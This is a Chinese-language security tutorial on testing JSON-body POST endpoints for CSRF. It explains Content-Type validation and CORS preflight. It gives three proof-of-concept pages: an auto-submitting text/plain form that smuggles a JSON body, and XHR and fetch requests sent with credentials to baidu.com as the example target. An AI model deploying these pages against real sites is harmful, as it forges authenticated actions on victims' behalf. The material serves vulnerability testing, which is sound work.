前言
最近总是遇到很多POST 传参采用 JSON 格式的场景,对于怎么验证该接口是否具有CSRF漏洞做了一些总结。
前提知识
在一般情况下采用 Json
格式传输参数时,请求包中都有 Content-Type
头,一般服务器也会验证 Content-Type
值是否为 application/json
,当服务器验证 Content-Type
时,若不符合要求,则会报错,导致传输的数据失效。
当简单的采用表单传输简单参数时,Content-Type
值为:x-www-form-urlencoded
,传输的数据会被 URL 编码,传输文件时值为:form-data
给表单添加 enctype="text/plain"
属性时,Content-type
值为:text/plain。
如果使用 XMLHttpRequest
跨域发起请求时,浏览器首先会先进行一次 OPTIONS
预检测,检查当前域名是否支持跨域,是否在CORS白名单内。如果支持,则浏览器会进行下一步,发送真实请求,否则会直接报错。
思考、Content-Type: application/json 一般情况下为什么不会出现csrf?
当利用json格式参数加content-type校验,其主要特点是通过json格式发送数据,而服务端限制content-type的格式只能为application/json。这种方式能防御CSRF的主要原因是:
1.在利用form表单构造post请求时,enctype属性并不支持application/json格式,浏览器在发送请求时会将content-type转为application/x-www-form-urlencoded,从而无法通过content-type限制
2.如果想要突破content-type限制,则需要设置自定义Header,此处可以利用XMLHttpRequests或js fetch,但这两种方法都无法完成跨域。因为攻击请求必须修改content-type为application/json才能绕过限制,但是这样的话会导致从而攻击请求就变成了非简单请求,这样在服务端预检请求的时候不会被通过,浏览器也就不会发送后续请求。
接下来我们来验证一下
1、如果服务端没有严格验证Content-type的情况下,可以直接构造json格式的poc
POC如下:
<!DOCTYPE html>
<html>
<head>
<title>Json_CSRF</title>
<meta charset="utf-8">
</head>
<body>
<form id="test" enctype="text/plain" action="http://baidu.com" method="post">
<input name='{"title":"JSON-CSRF","content":"123erty","id":"234544","test":"' value='test"}'>
</form>
<script type="text/javascript">
document.getElementById("test").submit();
</script>
</body>
</html>
2、如何严格验证Content-type的情况下
利用js中XHR构造POC
<!DOCTYPE html> <html> <head> <title>Json_CSRF</title> <meta charset="utf-8"> </head> <body> <script type="text/javascript"> function csrf(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.open("POST","https://baidu.com",true); xmlhttp.setRequestHeader("Content-Type","application/json;charset=UTF-8"); xmlhttp.withCredentials = true; xmlhttp.send(JSON.stringify({"title":"Json_CSRF","content":"3tfdsa2","id":"234665"}));; } csrf(); </script> </body> </html>
-
抓包分析会发现首先浏览器会发送一共OPTIONS请求进行预检,查询当前域名是否支持跨域。
"预检"请求用的请求方法是OPTIONS
,表示这个请求是用来询问的。头信息里面,关键字段是Origin
,表示请求来自哪个源。
除了Origin
字段,"预检"请求的头信息包括两个特殊字段。
(1)Access-Control-Request-Method
该字段是必须的,用来列出浏览器的CORS请求会用到哪些HTTP方法,上例是POST。
(2)Access-Control-Request-Headers
该字段是一个逗号分隔的字符串,指定浏览器CORS请求会额外发送的头信息字段,上例是content-type
。
如果允许跨域会返回如下信息:
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: content-type
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain
如果不支持跨域则:
HTTP/1.1 302 Found
Bdpagetype: 3
Content-Length: 154
Content-Type: text/html
Date: Thu, 20 Jun 2024 09:55:45 GMT
Location: https://www.baidu.com/search/error.html
Server: BWS/1.1
Set-Cookie: BDSVRTM=0; path=/
Traceid: 171887734505571666029681580941251601846
X-Ua-Compatible: IE=Edge,chrome=1
X-Xss-Protection: 1;mode=block
Connection: close
<html>
<head><title>302 Found</title></head>
<body bgcolor="white">
<center><h1>302 Found</h1></center>
<hr><center>nginx</center>
</body>
</html>
事实上百度是不支持的。
事实上利用js fetch构造poc和XHR是一样的效果。POC如下:
<script>
function csrf(){
fetch('https://baidu.com';, {method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json;charset=UTF-8'}, body: '{"title":"JSON-CSRF","content":"2345hgfds","id":"23456543"}'});
}
csrf();
</script>
总结:只有允许跨域的情况下才能实现json格式下的csrf,否则就是能绕过cors。因为在json格式下,如果服务端没有严格校验Content-Type时,可以构造poc直接进行利用,如果是严格校验Content-Type为json时,如果利用XHR设置格式为json进行跨域在服务器设置了cors的情况下会先进行options预检,服务器会检查当前域名是否在白名单内,如果在就正常发送XMLHttpRequest请求如果不在就报错。
所以json格式下的CSRF产生只有两种情况:
1、没有严格校验Content-Type。
2、在存在CORS漏洞的前提下进行利用。